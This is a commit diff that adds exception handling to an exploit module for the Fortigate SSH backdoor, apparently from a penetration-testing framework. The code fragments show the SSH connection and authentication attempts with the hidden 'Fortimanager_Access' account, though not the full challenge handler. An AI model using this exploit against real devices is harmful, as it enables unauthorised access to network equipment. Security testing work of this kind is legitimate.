Commit ebba273c by Marcin Bury

Fortigate backdoor exceptions.

parent 5ef8a7ac
...@@ -37,8 +37,6 @@ class Exploit(exploits.Exploit): ...@@ -37,8 +37,6 @@ class Exploit(exploits.Exploit):
port = exploits.Option(22, 'Target Port') port = exploits.Option(22, 'Target Port')
def run(self): def run(self):
print_status("Running module")
client = paramiko.SSHClient() client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
...@@ -46,6 +44,9 @@ class Exploit(exploits.Exploit): ...@@ -46,6 +44,9 @@ class Exploit(exploits.Exploit):
client.connect(self.target, username='', allow_agent=False, look_for_keys=False) client.connect(self.target, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException: except paramiko.ssh_exception.SSHException:
pass pass
except:
print_error("Exploit Failed - SSH Service is down")
return
trans = client.get_transport() trans = client.get_transport()
try: try:
...@@ -100,14 +101,16 @@ class Exploit(exploits.Exploit): ...@@ -100,14 +101,16 @@ class Exploit(exploits.Exploit):
client.connect(self.target, username='', allow_agent=False, look_for_keys=False) client.connect(self.target, username='', allow_agent=False, look_for_keys=False)
except paramiko.ssh_exception.SSHException: except paramiko.ssh_exception.SSHException:
pass pass
except:
return False # target is not vulnerable
trans = client.get_transport() trans = client.get_transport()
try: try:
trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True) trans.auth_password(username='Fortimanager_Access', password='', event=None, fallback=True)
except paramiko.ssh_exception.AuthenticationException: except paramiko.ssh_exception.AuthenticationException:
pass pass
except Exception, e: except:
return None return None # could not verify
try: try:
trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler) trans.auth_interactive(username='Fortimanager_Access', handler=self.custom_handler)
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment